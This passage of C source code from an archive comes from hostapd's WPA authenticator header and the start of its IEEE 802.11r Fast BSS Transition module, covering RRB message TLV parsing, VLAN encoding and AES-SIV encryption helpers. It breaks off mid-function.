S1KH_ID * * response frame TLVs: * auth: * required: SEQ, NONCE, R0KH_ID, R1KH_ID * encrypted: * required: S1KH_ID * optional: session TLVs * * push frame TLVs: * auth: * required: SEQ, R0KH_ID, R1KH_ID * encrypted: * required: S1KH_ID, PMK_R0_NAME, session TLVs * * sequence number request frame TLVs: * auth: * required: R0KH_ID, R1KH_ID, NONCE * * sequence number response frame TLVs: * auth: * required: SEQ, NONCE, R0KH_ID, R1KH_ID */ #ifdef _MSC_VER #pragma pack(pop) #endif /* _MSC_VER */ /* per STA state machine data */ struct wpa_authenticator; struct wpa_state_machine; struct rsn_pmksa_cache_entry; struct eapol_state_machine; struct ft_remote_seq; struct ft_remote_r0kh { struct ft_remote_r0kh *next; u8 addr[ETH_ALEN]; u8 id[FT_R0KH_ID_MAX_LEN]; size_t id_len; u8 key[32]; struct ft_remote_seq *seq; }; struct ft_remote_r1kh { struct ft_remote_r1kh *next; u8 addr[ETH_ALEN]; u8 id[FT_R1KH_ID_LEN]; u8 key[32]; struct ft_remote_seq *seq; }; struct wpa_auth_config { int wpa; int wpa_key_mgmt; int wpa_pairwise; int wpa_group; int wpa_group_rekey; int wpa_strict_rekey; int wpa_gmk_rekey; int wpa_ptk_rekey; u32 wpa_group_update_count; u32 wpa_pairwise_update_count; int wpa_disable_eapol_key_retries; int rsn_pairwise; int rsn_preauth; int eapol_version; int wmm_enabled; int wmm_uapsd; int disable_pmksa_caching; int okc; int tx_status; #ifdef CONFIG_IEEE80211W enum mfp_options ieee80211w; int group_mgmt_cipher; int sae_require_mfp; #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_IEEE80211R_AP u8 ssid[SSID_MAX_LEN]; size_t ssid_len; u8 mobility_domain[MOBILITY_DOMAIN_ID_LEN]; u8 r0_key_holder[FT_R0KH_ID_MAX_LEN]; size_t r0_key_holder_len; u8 r1_key_holder[FT_R1KH_ID_LEN]; u32 r0_key_lifetime; /* PMK-R0 lifetime seconds */ int rkh_pos_timeout; int rkh_neg_timeout; int rkh_pull_timeout; /* ms */ int rkh_pull_retries; int r1_max_key_lifetime; u32 reassociation_deadline; struct ft_remote_r0kh **r0kh_list; struct ft_remote_r1kh **r1kh_list; int pmk_r1_push; int ft_over_ds; int ft_psk_generate_local; #endif /* CONFIG_IEEE80211R_AP */ int disable_gtk; int ap_mlme; #ifdef CONFIG_TESTING_OPTIONS double corrupt_gtk_rekey_mic_probability; u8 own_ie_override[MAX_OWN_IE_OVERRIDE]; size_t own_ie_override_len; #endif /* CONFIG_TESTING_OPTIONS */ #ifdef CONFIG_P2P u8 ip_addr_go[4]; u8 ip_addr_mask[4]; u8 ip_addr_start[4]; u8 ip_addr_end[4]; #endif /* CONFIG_P2P */ #ifdef CONFIG_FILS unsigned int fils_cache_id_set:1; u8 fils_cache_id[FILS_CACHE_ID_LEN]; #endif /* CONFIG_FILS */ }; typedef enum { LOGGER_DEBUG, LOGGER_INFO, LOGGER_WARNING } logger_level; typedef enum { WPA_EAPOL_portEnabled, WPA_EAPOL_portValid, WPA_EAPOL_authorized, WPA_EAPOL_portControl_Auto, WPA_EAPOL_keyRun, WPA_EAPOL_keyAvailable, WPA_EAPOL_keyDone, WPA_EAPOL_inc_EapolFramesTx } wpa_eapol_variable; struct wpa_auth_callbacks { void (*logger)(void *ctx, const u8 *addr, logger_level level, const char *txt); void (*disconnect)(void *ctx, const u8 *addr, u16 reason); int (*mic_failure_report)(void *ctx, const u8 *addr); void (*psk_failure_report)(void *ctx, const u8 *addr); void (*set_eapol)(void *ctx, const u8 *addr, wpa_eapol_variable var, int value); int (*get_eapol)(void *ctx, const u8 *addr, wpa_eapol_variable var); const u8 * (*get_psk)(void *ctx, const u8 *addr, const u8 *p2p_dev_addr, const u8 *prev_psk, size_t *psk_len); int (*get_msk)(void *ctx, const u8 *addr, u8 *msk, size_t *len); int (*set_key)(void *ctx, int vlan_id, enum wpa_alg alg, const u8 *addr, int idx, u8 *key, size_t key_len); int (*get_seqnum)(void *ctx, const u8 *addr, int idx, u8 *seq); int (*send_eapol)(void *ctx, const u8 *addr, const u8 *data, size_t data_len, int encrypt); int (*for_each_sta)(void *ctx, int (*cb)(struct wpa_state_machine *sm, void *ctx), void *cb_ctx); int (*for_each_auth)(void *ctx, int (*cb)(struct wpa_authenticator *a, void *ctx), void *cb_ctx); int (*send_ether)(void *ctx, const u8 *dst, u16 proto, const u8 *data, size_t data_len); int (*send_oui)(void *ctx, const u8 *dst, u8 oui_suffix, const u8 *data, size_t data_len); #ifdef CONFIG_IEEE80211R_AP struct wpa_state_machine * (*add_sta)(void *ctx, const u8 *sta_addr); int (*set_vlan)(void *ctx, const u8 *sta_addr, struct vlan_description *vlan); int (*get_vlan)(void *ctx, const u8 *sta_addr, struct vlan_description *vlan); int (*set_identity)(void *ctx, const u8 *sta_addr, const u8 *identity, size_t identity_len); size_t (*get_identity)(void *ctx, const u8 *sta_addr, const u8 **buf); int (*set_radius_cui)(void *ctx, const u8 *sta_addr, const u8 *radius_cui, size_t radius_cui_len); size_t (*get_radius_cui)(void *ctx, const u8 *sta_addr, const u8 **buf); void (*set_session_timeout)(void *ctx, const u8 *sta_addr, int session_timeout); int (*get_session_timeout)(void *ctx, const u8 *sta_addr); int (*send_ft_action)(void *ctx, const u8 *dst, const u8 *data, size_t data_len); int (*add_tspec)(void *ctx, const u8 *sta_addr, u8 *tspec_ie, size_t tspec_ielen); #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_MESH int (*start_ampe)(void *ctx, const u8 *sta_addr); #endif /* CONFIG_MESH */ }; struct wpa_authenticator * wpa_init(const u8 *addr, struct wpa_auth_config *conf, const struct wpa_auth_callbacks *cb, void *cb_ctx); int wpa_init_keys(struct wpa_authenticator *wpa_auth); void wpa_deinit(struct wpa_authenticator *wpa_auth); int wpa_reconfig(struct wpa_authenticator *wpa_auth, struct wpa_auth_config *conf); enum { WPA_IE_OK, WPA_INVALID_IE, WPA_INVALID_GROUP, WPA_INVALID_PAIRWISE, WPA_INVALID_AKMP, WPA_NOT_ENABLED, WPA_ALLOC_FAIL, WPA_MGMT_FRAME_PROTECTION_VIOLATION, WPA_INVALID_MGMT_GROUP_CIPHER, WPA_INVALID_MDIE, WPA_INVALID_PROTO, WPA_INVALID_PMKID }; int wpa_validate_wpa_ie(struct wpa_authenticator *wpa_auth, struct wpa_state_machine *sm, const u8 *wpa_ie, size_t wpa_ie_len, const u8 *mdie, size_t mdie_len, const u8 *owe_dh, size_t owe_dh_len); int wpa_validate_osen(struct wpa_authenticator *wpa_auth, struct wpa_state_machine *sm, const u8 *osen_ie, size_t osen_ie_len); int wpa_auth_uses_mfp(struct wpa_state_machine *sm); struct wpa_state_machine * wpa_auth_sta_init(struct wpa_authenticator *wpa_auth, const u8 *addr, const u8 *p2p_dev_addr); int wpa_auth_sta_associated(struct wpa_authenticator *wpa_auth, struct wpa_state_machine *sm); void wpa_auth_sta_no_wpa(struct wpa_state_machine *sm); void wpa_auth_sta_deinit(struct wpa_state_machine *sm); void wpa_receive(struct wpa_authenticator *wpa_auth, struct wpa_state_machine *sm, u8 *data, size_t data_len); enum wpa_event { WPA_AUTH, WPA_ASSOC, WPA_DISASSOC, WPA_DEAUTH, WPA_REAUTH, WPA_REAUTH_EAPOL, WPA_ASSOC_FT, WPA_ASSOC_FILS, WPA_DRV_STA_REMOVED }; void wpa_remove_ptk(struct wpa_state_machine *sm); int wpa_auth_sm_event(struct wpa_state_machine *sm, enum wpa_event event); void wpa_auth_sm_notify(struct wpa_state_machine *sm); void wpa_gtk_rekey(struct wpa_authenticator *wpa_auth); int wpa_get_mib(struct wpa_authenticator *wpa_auth, char *buf, size_t buflen); int wpa_get_mib_sta(struct wpa_state_machine *sm, char *buf, size_t buflen); void wpa_auth_countermeasures_start(struct wpa_authenticator *wpa_auth); int wpa_auth_pairwise_set(struct wpa_state_machine *sm); int wpa_auth_get_pairwise(struct wpa_state_machine *sm); int wpa_auth_sta_key_mgmt(struct wpa_state_machine *sm); int wpa_auth_sta_wpa_version(struct wpa_state_machine *sm); int wpa_auth_sta_ft_tk_already_set(struct wpa_state_machine *sm); int wpa_auth_sta_fils_tk_already_set(struct wpa_state_machine *sm); int wpa_auth_sta_clear_pmksa(struct wpa_state_machine *sm, struct rsn_pmksa_cache_entry *entry); struct rsn_pmksa_cache_entry * wpa_auth_sta_get_pmksa(struct wpa_state_machine *sm); void wpa_auth_sta_local_mic_failure_report(struct wpa_state_machine *sm); const u8 * wpa_auth_get_wpa_ie(struct wpa_authenticator *wpa_auth, size_t *len); int wpa_auth_pmksa_add(struct wpa_state_machine *sm, const u8 *pmk, unsigned int pmk_len, int session_timeout, struct eapol_state_machine *eapol); int wpa_auth_pmksa_add_preauth(struct wpa_authenticator *wpa_auth, const u8 *pmk, size_t len, const u8 *sta_addr, int session_timeout, struct eapol_state_machine *eapol); int wpa_auth_pmksa_add_sae(struct wpa_authenticator *wpa_auth, const u8 *addr, const u8 *pmk, const u8 *pmkid); void wpa_auth_add_sae_pmkid(struct wpa_state_machine *sm, const u8 *pmkid); int wpa_auth_pmksa_add2(struct wpa_authenticator *wpa_auth, const u8 *addr, const u8 *pmk, size_t pmk_len, const u8 *pmkid, int session_timeout, int akmp); void wpa_auth_pmksa_remove(struct wpa_authenticator *wpa_auth, const u8 *sta_addr); int wpa_auth_pmksa_list(struct wpa_authenticator *wpa_auth, char *buf, size_t len); void wpa_auth_pmksa_flush(struct wpa_authenticator *wpa_auth); int wpa_auth_pmksa_list_mesh(struct wpa_authenticator *wpa_auth, const u8 *addr, char *buf, size_t len); struct rsn_pmksa_cache_entry * wpa_auth_pmksa_create_entry(const u8 *aa, const u8 *spa, const u8 *pmk, const u8 *pmkid, int expiration); int wpa_auth_pmksa_add_entry(struct wpa_authenticator *wpa_auth, struct rsn_pmksa_cache_entry *entry); struct rsn_pmksa_cache_entry * wpa_auth_pmksa_get(struct wpa_authenticator *wpa_auth, const u8 *sta_addr, const u8 *pmkid); struct rsn_pmksa_cache_entry * wpa_auth_pmksa_get_fils_cache_id(struct wpa_authenticator *wpa_auth, const u8 *sta_addr, const u8 *pmkid); void wpa_auth_pmksa_set_to_sm(struct rsn_pmksa_cache_entry *pmksa, struct wpa_state_machine *sm, struct wpa_authenticator *wpa_auth, u8 *pmkid, u8 *pmk); int wpa_auth_sta_set_vlan(struct wpa_state_machine *sm, int vlan_id); void wpa_auth_eapol_key_tx_status(struct wpa_authenticator *wpa_auth, struct wpa_state_machine *sm, int ack); #ifdef CONFIG_IEEE80211R_AP u8 * wpa_sm_write_assoc_resp_ies(struct wpa_state_machine *sm, u8 *pos, size_t max_len, int auth_alg, const u8 *req_ies, size_t req_ies_len); void wpa_ft_process_auth(struct wpa_state_machine *sm, const u8 *bssid, u16 auth_transaction, const u8 *ies, size_t ies_len, void (*cb)(void *ctx, const u8 *dst, const u8 *bssid, u16 auth_transaction, u16 resp, const u8 *ies, size_t ies_len), void *ctx); u16 wpa_ft_validate_reassoc(struct wpa_state_machine *sm, const u8 *ies, size_t ies_len); int wpa_ft_action_rx(struct wpa_state_machine *sm, const u8 *data, size_t len); int wpa_ft_rrb_rx(struct wpa_authenticator *wpa_auth, const u8 *src_addr, const u8 *data, size_t data_len); void wpa_ft_rrb_oui_rx(struct wpa_authenticator *wpa_auth, const u8 *src_addr, const u8 *dst_addr, u8 oui_suffix, const u8 *data, size_t data_len); void wpa_ft_push_pmk_r1(struct wpa_authenticator *wpa_auth, const u8 *addr); void wpa_ft_deinit(struct wpa_authenticator *wpa_auth); void wpa_ft_sta_deinit(struct wpa_state_machine *sm); #endif /* CONFIG_IEEE80211R_AP */ void wpa_wnmsleep_rekey_gtk(struct wpa_state_machine *sm); void wpa_set_wnmsleep(struct wpa_state_machine *sm, int flag); int wpa_wnmsleep_gtk_subelem(struct wpa_state_machine *sm, u8 *pos); int wpa_wnmsleep_igtk_subelem(struct wpa_state_machine *sm, u8 *pos); int wpa_auth_uses_sae(struct wpa_state_machine *sm); int wpa_auth_uses_ft_sae(struct wpa_state_machine *sm); int wpa_auth_get_ip_addr(struct wpa_state_machine *sm, u8 *addr); struct radius_das_attrs; int wpa_auth_radius_das_disconnect_pmksa(struct wpa_authenticator *wpa_auth, struct radius_das_attrs *attr); void wpa_auth_reconfig_group_keys(struct wpa_authenticator *wpa_auth); int wpa_auth_ensure_group(struct wpa_authenticator *wpa_auth, int vlan_id); int wpa_auth_release_group(struct wpa_authenticator *wpa_auth, int vlan_id); int fils_auth_pmk_to_ptk(struct wpa_state_machine *sm, const u8 *pmk, size_t pmk_len, const u8 *snonce, const u8 *anonce, const u8 *dhss, size_t dhss_len, struct wpabuf *g_sta, struct wpabuf *g_ap); int fils_decrypt_assoc(struct wpa_state_machine *sm, const u8 *fils_session, const struct ieee80211_mgmt *mgmt, size_t frame_len, u8 *pos, size_t left); int fils_encrypt_assoc(struct wpa_state_machine *sm, u8 *buf, size_t current_len, size_t max_len, const struct wpabuf *hlp); int fils_set_tk(struct wpa_state_machine *sm); u8 * hostapd_eid_assoc_fils_session(struct wpa_state_machine *sm, u8 *eid, const u8 *fils_session, struct wpabuf *fils_hlp_resp); const u8 * wpa_fils_validate_fils_session(struct wpa_state_machine *sm, const u8 *ies, size_t ies_len, const u8 *fils_session); int wpa_fils_validate_key_confirm(struct wpa_state_machine *sm, const u8 *ies, size_t ies_len); int wpa_auth_write_fte(struct wpa_authenticator *wpa_auth, int use_sha384, u8 *buf, size_t len); void wpa_auth_get_fils_aead_params(struct wpa_state_machine *sm, u8 *fils_anonce, u8 *fils_snonce, u8 *fils_kek, size_t *fils_kek_len); u8 * wpa_auth_write_assoc_resp_owe(struct wpa_state_machine *sm, u8 *pos, size_t max_len, const u8 *req_ies, size_t req_ies_len); int wpa_auth_resend_m1(struct wpa_state_machine *sm, int change_anonce, void (*cb)(void *ctx1, void *ctx2), void *ctx1, void *ctx2); int wpa_auth_resend_m3(struct wpa_state_machine *sm, void (*cb)(void *ctx1, void *ctx2), void *ctx1, void *ctx2); int wpa_auth_resend_group_m1(struct wpa_state_machine *sm, void (*cb)(void *ctx1, void *ctx2), void *ctx1, void *ctx2); int wpa_auth_rekey_gtk(struct wpa_authenticator *wpa_auth); #endif /* WPA_AUTH_H */ wpa_sycophant-master/src/ap/wpa_auth_ft.c000066400000000000000000003506131377436615100211070ustar00rootroot00000000000000/* * hostapd - IEEE 802.11r - Fast BSS Transition * Copyright (c) 2004-2018, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "utils/list.h" #include "common/ieee802_11_defs.h" #include "common/ieee802_11_common.h" #include "crypto/aes.h" #include "crypto/aes_siv.h" #include "crypto/aes_wrap.h" #include "crypto/sha384.h" #include "crypto/random.h" #include "ap_config.h" #include "ieee802_11.h" #include "wmm.h" #include "wpa_auth.h" #include "wpa_auth_i.h" #ifdef CONFIG_IEEE80211R_AP const unsigned int ftRRBseqTimeout = 10; const unsigned int ftRRBmaxQueueLen = 100; static int wpa_ft_send_rrb_auth_resp(struct wpa_state_machine *sm, const u8 *current_ap, const u8 *sta_addr, u16 status, const u8 *resp_ies, size_t resp_ies_len); static void ft_finish_pull(struct wpa_state_machine *sm); static void wpa_ft_expire_pull(void *eloop_ctx, void *timeout_ctx); static void wpa_ft_rrb_seq_timeout(void *eloop_ctx, void *timeout_ctx); struct tlv_list { u16 type; size_t len; const u8 *data; }; /** * wpa_ft_rrb_decrypt - Decrypt FT RRB message * @key: AES-SIV key for AEAD * @key_len: Length of key in octets * @enc: Pointer to encrypted TLVs * @enc_len: Length of encrypted TLVs in octets * @auth: Pointer to authenticated TLVs * @auth_len: Length of authenticated TLVs in octets * @src_addr: MAC address of the frame sender * @type: Vendor-specific subtype of the RRB frame (FT_PACKET_*) * @plain: Pointer to return the pointer to the allocated plaintext buffer; * needs to be freed by the caller if not NULL; * will only be returned on success * @plain_len: Pointer to return the length of the allocated plaintext buffer * in octets * Returns: 0 on success, -1 on error */ static int wpa_ft_rrb_decrypt(const u8 *key, const size_t key_len, const u8 *enc, const size_t enc_len, const u8 *auth, const size_t auth_len, const u8 *src_addr, u8 type, u8 **plain, size_t *plain_size) { const u8 *ad[3] = { src_addr, auth, &type }; size_t ad_len[3] = { ETH_ALEN, auth_len, sizeof(type) }; wpa_hexdump_key(MSG_DEBUG, "FT(RRB): decrypt using key", key, key_len); if (!key) { /* skip decryption */ *plain = os_memdup(enc, enc_len); if (enc_len > 0 && !*plain) goto err; *plain_size = enc_len; return 0; } *plain = NULL; /* SIV overhead */ if (enc_len < AES_BLOCK_SIZE) goto err; *plain = os_zalloc(enc_len - AES_BLOCK_SIZE); if (!*plain) goto err; if (aes_siv_decrypt(key, key_len, enc, enc_len, 3, ad, ad_len, *plain) < 0) goto err; *plain_size = enc_len - AES_BLOCK_SIZE; wpa_hexdump_key(MSG_DEBUG, "FT(RRB): decrypted TLVs", *plain, *plain_size); return 0; err: os_free(*plain); *plain = NULL; *plain_size = 0; wpa_printf(MSG_ERROR, "FT(RRB): Failed to decrypt"); return -1; } /* get first tlv record in packet matching type * @data (decrypted) packet * @return 0 on success else -1 */ static int wpa_ft_rrb_get_tlv(const u8 *plain, size_t plain_len, u16 type, size_t *tlv_len, const u8 **tlv_data) { const struct ft_rrb_tlv *f; size_t left; le16 type16; size_t len; left = plain_len; type16 = host_to_le16(type); while (left >= sizeof(*f)) { f = (const struct ft_rrb_tlv *) plain; left -= sizeof(*f); plain += sizeof(*f); len = le_to_host16(f->len); if (left < len) { wpa_printf(MSG_DEBUG, "FT: RRB message truncated"); break; } if (f->type == type16) { *tlv_len = len; *tlv_data = plain; return 0; } left -= len; plain += len; } return -1; } static void wpa_ft_rrb_dump(const u8 *plain, const size_t plain_len) { const struct ft_rrb_tlv *f; size_t left; size_t len; left = plain_len; wpa_printf(MSG_DEBUG, "FT: RRB dump message"); while (left >= sizeof(*f)) { f = (const struct ft_rrb_tlv *) plain; left -= sizeof(*f); plain += sizeof(*f); len = le_to_host16(f->len); wpa_printf(MSG_DEBUG, "FT: RRB TLV type = %d, len = %zu", le_to_host16(f->type), len); if (left < len) { wpa_printf(MSG_DEBUG, "FT: RRB message truncated: left %zu bytes, need %zu", left, len); break; } wpa_hexdump(MSG_DEBUG, "FT: RRB TLV data", plain, len); left -= len; plain += len; } if (left > 0) wpa_hexdump(MSG_DEBUG, "FT: RRB TLV padding", plain, left); wpa_printf(MSG_DEBUG, "FT: RRB dump message end"); } static int cmp_int(const void *a, const void *b) { int x, y; x = *((int *) a); y = *((int *) b); return x - y; } static int wpa_ft_rrb_get_tlv_vlan(const u8 *plain, const size_t plain_len, struct vlan_description *vlan) { struct ft_rrb_tlv *f; size_t left; size_t len; int taggedidx; int vlan_id; int type; left = plain_len; taggedidx = 0; os_memset(vlan, 0, sizeof(*vlan)); while (left >= sizeof(*f)) { f = (struct ft_rrb_tlv *) plain; left -= sizeof(*f); plain += sizeof(*f); len = le_to_host16(f->len); type = le_to_host16(f->type); if (left < len) { wpa_printf(MSG_DEBUG, "FT: RRB message truncated"); return -1; } if (type != FT_RRB_VLAN_UNTAGGED && type != FT_RRB_VLAN_TAGGED) goto skip; if (type == FT_RRB_VLAN_UNTAGGED && len != sizeof(le16)) { wpa_printf(MSG_DEBUG, "FT: RRB VLAN_UNTAGGED invalid length"); return -1; } if (type == FT_RRB_VLAN_TAGGED && len % sizeof(le16) != 0) { wpa_printf(MSG_DEBUG, "FT: RRB VLAN_TAGGED invalid length"); return -1; } while (len >= sizeof(le16)) { vlan_id = WPA_GET_LE16(plain); plain += sizeof(le16); left -= sizeof(le16); len -= sizeof(le16); if (vlan_id <= 0 || vlan_id > MAX_VLAN_ID) { wpa_printf(MSG_DEBUG, "FT: RRB VLAN ID invalid %d", vlan_id); continue; } if (type == FT_RRB_VLAN_UNTAGGED) vlan->untagged = vlan_id; if (type == FT_RRB_VLAN_TAGGED && taggedidx < MAX_NUM_TAGGED_VLAN) { vlan->tagged[taggedidx] = vlan_id; taggedidx++; } else if (type == FT_RRB_VLAN_TAGGED) { wpa_printf(MSG_DEBUG, "FT: RRB too many VLANs"); } } skip: left -= len; plain += len; } if (taggedidx) qsort(vlan->tagged, taggedidx, sizeof(int), cmp_int); vlan->notempty = vlan->untagged || vlan->tagged[0]; return 0; } static size_t wpa_ft_tlv_len(const struct tlv_list *tlvs) { size_t tlv_len = 0; int i; if (!tlvs) return 0; for (i = 0; tlvs[i].type != FT_RRB_LAST_EMPTY; i++) { tlv_len += sizeof(struct ft_rrb_tlv); tlv_len += tlvs[i].len; } return tlv_len; } static size_t wpa_ft_tlv_lin(const struct tlv_list *tlvs, u8 *start, u8 *endpos) { int i; size_t tlv_len; struct ft_rrb_tlv *hdr; u8 *pos; if (!tlvs) return 0; tlv_len = 0; pos = start; for (i = 0; tlvs[i].type != FT_RRB_LAST_EMPTY; i++) { if (tlv_len + sizeof(*hdr) > (size_t) (endpos - start)) return tlv_len; tlv_len += sizeof(*hdr); hdr = (struct ft_rrb_tlv *) pos; hdr->type = host_to_le16(tlvs[i].type); hdr->len = host_to_le16(tlvs[i].len); pos = start + tlv_len; if (tlv_len + tlvs[i].len > (size_t) (endpos - start)) return tlv_len; if (tlvs[i].len == 0) continue; tlv_len += tlvs[i].len; os_memcpy(pos, tlvs[i].data, tlvs[i].len); pos = start + tlv_len; } return tlv_len; } static size_t wpa_ft_vlan_len(const struct vlan_description *vlan) { size_t tlv_len = 0; int i; if (!vlan || !vlan->notempty) return 0; if (vlan->untagged) { tlv_len += sizeof(struct ft_rrb_tlv); tlv_len += sizeof(le16); } if (vlan->tagged[0]) tlv_len += sizeof(struct ft_rrb_tlv); for (i = 0; i < MAX_NUM_TAGGED_VLAN && vlan->tagged[i]; i++) tlv_len += sizeof(le16); return tlv_len; } static size_t wpa_ft_vlan_lin(const struct vlan_description *vlan, u8 *start, u8 *endpos) { size_t tlv_len; int i, len; struct ft_rrb_tlv *hdr; u8 *pos = start; if (!vlan || !vlan->notempty) return 0; tlv_len = 0; if (vlan->untagged) { tlv_len += sizeof(*hdr); if (start + tlv_len > endpos) return tlv_len; hdr = (struct ft_rrb_tlv *) pos; hdr->type = host_to_le16(FT_RRB_VLAN_UNTAGGED); hdr->len = host_to_le16(sizeof(le16)); pos = start + tlv_len; tlv_len += sizeof(le16); if (start + tlv_len > endpos) return tlv_len; WPA_PUT_LE16(pos, vlan->untagged); pos = start + tlv_len; } if (!vlan->tagged[0]) return tlv_len; tlv_len += sizeof(*hdr); if (start + tlv_len > endpos) return tlv_len; hdr = (struct ft_rrb_tlv *) pos; hdr->type = host_to_le16(FT_RRB_VLAN_TAGGED); len = 0; /* len is computed below */ pos = start + tlv_len; for (i = 0; i < MAX_NUM_TAGGED_VLAN && vlan->tagged[i]; i++) { tlv_len += sizeof(le16); if (start + tlv_len > endpos) break; len += sizeof(le16); WPA_PUT_LE16(pos, vlan->tagged[i]); pos = start + tlv_len; } hdr->len = host_to_le16(len); return tlv_len; } static int wpa_ft_rrb_lin(const struct tlv_list *tlvs1, const struct tlv_list *tlvs2, const struct vlan_description *vlan, u8 **plain, size_t *plain_len) { u8 *pos, *endpos; size_t tlv_len; tlv_len = wpa_ft_tlv_len(tlvs1); tlv_len += wpa_ft_tlv_len(tlvs2); tlv_len += wpa_ft_vlan_len(vlan); *plain_len = tlv_len; *plain = os_zalloc(tlv_len); if (!*plain) { wpa_printf(MSG_ERROR, "FT: Failed to allocate plaintext"); goto err; } pos = *plain; endpos = *plain + tlv_len; pos += wpa_ft_tlv_lin(tlvs1, pos, endpos); pos += wpa_ft_tlv_lin(tlvs2, pos, endpos); pos += wpa_ft_vlan_lin(vlan, pos, endpos); /* sanity check */ if (pos != endpos) { wpa_printf(MSG_ERROR, "FT: Length error building RRB"); goto err; } return 0; err: os_free(*plain); *plain = NULL; *plain_len = 0; return -1; } static int wpa_ft_rrb_encrypt(const u8 *key, const size_t key_len, const u8 *plain, const size_t plain_len, const u8 *auth, const size_t auth_len, const u8 *src_addr, u8 type, u8 *enc) { const u8 *ad[3] = { src_addr, auth, &type }; size_t ad_len[3] = { ETH_ALEN, auth_len, sizeof(type) }; wpa_hexdump_key(MSG_DEBUG, "FT(RRB): plaintext message", plain, plain_len); wpa_hexdump_key(MSG_DEBUG, "FT(RRB): encrypt using key", key, key_len); if (!key) { /* encryption not needed, return plaintext as packet */ os_memcpy(enc, plain, plain_len); } else if (aes_siv_encrypt(key, key_len, plain, plain_len, 3, ad, ad_len, enc) < 0) { wpa_printf(MSG_ERROR, "FT: Failed to encrypt RRB-OUI message"); return -1; } return 0; } /** * wpa_ft_rrb_build - Build and encrypt an FT RRB message * @key: AES-SIV key for AEAD * @key_len: Length of key in octets * @tlvs_enc0: First set of to-be-encrypted TLVs * @tlvs_enc1: Second set of to-be-encrypted TLVs * @tlvs_auth: Set of to-be-authenticated TLVs * @src_addr: MAC address of the frame sender * @type: Vendor-specific subtype of the RRB frame (FT_PACKET_*) * @packet Pointer to return the pointer to the allocated packet buffer; * needs to be freed by the caller if not null; * will only be returned on success * @packet_len: Pointer to return the length of the allocated buffer in octets * Returns: 0 on success, -1 on error */ static int wpa_ft_rrb_build(const u8 *key, const size_t key_len, const struct tlv_list *tlvs_enc0, const struct tlv_list *tlvs_enc1, const struct tlv_list *tlvs_auth, const struct vlan_description *vlan, const u8 *src_addr, u8 type, u8 **packet, size_t *packet_len) { u8 *plain = NULL, *auth = NULL, *pos; size_t plain_len = 0, auth_len = 0; int ret = -1; *packet = NULL; if (wpa_ft_rrb_lin(tlvs_enc0, tlvs_enc1, vlan, &plain, &plain_len) < 0) goto out; if (wpa_ft_rrb_lin(tlvs_auth, NULL, NULL, &auth, &auth_len) < 0) goto out; *packet_len = sizeof(u16) + auth_len + plain_len; if (key) *packet_len += AES_BLOCK_SIZE; *packet = os_zalloc(*packet_len); if (!*packet) goto out; pos = *packet; WPA_PUT_LE16(pos, auth_len); pos += 2; os_memcpy(pos, auth, auth_len); pos += auth_len; if (wpa_ft_rrb_encrypt(key, key_len, plain, plain_len, auth, auth_len, src_addr, type, pos) < 0) goto out; ret = 0; out: bin_clear_free(plain, plain_len); os_free(auth); if (ret) { wpa_printf(MSG_ERROR, "FT: Failed to build RRB-OUI message"); os_free(*packet); *packet = NULL; *packet_len = 0; } return ret; } #define RRB_GET_SRC(srcfield, type, field, txt, checklength) do { \ if (wpa_ft_rrb_get_tlv(srcfield, srcfield##_len, type, \ &f_##field##_len, &f_##field) < 0 || \ (checklength > 0 && ((size_t) checklength) != f_##field##_len)) { \ wpa_printf(MSG_INFO, "FT: Missing required " #field \ " in %s from " MACSTR, txt, MAC2STR(src_addr)); \ wpa_ft_rrb_dump(srcfield, srcfield##_len); \ goto out; \ } \ } while (0) #define RRB_GET(type, field, txt, checklength) \ RRB_GET_SRC(plain, type, field, txt, checklength) #define RRB_GET_AUTH(type, field, txt, checklength) \ RRB_GET_SRC(auth, type, field, txt, checklength) #define RRB_GET_OPTIONAL_SRC(srcfield, type, field, txt, checklength) do { \ if (wpa_ft_rrb_get_tlv(srcfield, srcfield##_len, type, \ &f_##field##_len, &f_##field) < 0 || \ (checklength > 0 && ((size_t) checklength) != f_##field##_len)) { \ wpa_printf(MSG_DEBUG, "FT: Missing optional " #field \ " in %s from " MACSTR, txt, MAC2STR(src_addr)); \ f_##field##_len = 0; \ f_##field = NULL; \ } \ } while (0) #define RRB_GET_OPTIONAL(type, field, txt, checklength) \ RRB_GET_OPTIONAL_SRC(plain, type, field, txt, checklength) #define RRB_GET_OPTIONAL_AUTH(type, field, txt, checklength) \ RRB_GET_OPTIONAL_SRC(auth, type, field, txt, checklength) static int wpa_ft_rrb_send(struct wpa_authenticator *wpa_auth, const u8 *dst, const u8 *data, size_t data_len) { if (wpa_auth->cb->send_ether == NULL) return -1; wpa_printf(MSG_DEBUG, "FT: RRB send to " MACSTR, MAC2STR(dst)); return wpa_auth->cb->send_ether(wpa_auth->cb_ctx, dst, ETH_P_RRB, data, data_len); } static int wpa_ft_rrb_oui_send(struct wpa_authenticator *wpa_auth, const u8 *dst, u8 oui_suffix, const u8 *data, size_t data_len) { if (!wpa_auth->cb->send_oui) return -1; wpa_printf(MSG_DEBUG, "FT: RRB-OUI type %u send to " MACSTR, oui_suffix, MAC2STR(dst)); return wpa_auth->cb->send_oui(wpa_auth->cb_ctx, dst, oui_suffix, data, data_len); } static int wpa_ft_action_send(struct wpa_authenticator *wpa_auth, const u8 *dst, const u8 *data, size_t data_len) { if (wpa_auth->cb->send_ft_action == NULL) return -1; return wpa_auth->cb->send_ft_action(wpa_auth->cb_ctx, dst, data, data_len); } static const u8 * wpa_ft_get_psk(struct wpa_authenticator *wpa_auth, const u8 *addr, const u8 *p2p_dev_addr, const u8 *prev_psk) { if (wpa_auth->cb->get_psk == NULL) return NULL; return wpa_auth->cb->get_psk(wpa_auth->cb_ctx, addr, p2p_dev_addr, prev_psk, NULL); } static struct wpa_state_machine * wpa_ft_add_sta(struct wpa_authenticator *wpa_auth, const u8 *sta_addr) { if (wpa_auth->cb->add_sta == NULL) return NULL; return wpa_auth->cb->add_sta(wpa_auth->cb_ctx, sta_addr); } static int wpa_ft_set_vlan(struct wpa_authenticator *wpa_auth, const u8 *sta_addr, struct vlan_description *vlan) { if (!wpa_auth->cb->set_vlan) return -1; return wpa_auth->cb->set_vlan(wpa_auth->cb_ctx, sta_addr, vlan); } static int wpa_ft_get_vlan(struct wpa_authenticator *wpa_auth, const u8 *sta_addr, struct vlan_description *vlan) { if (!wpa_auth->cb->get_vlan) return -1; return wpa_auth->cb->get_vlan(wpa_auth->cb_ctx, 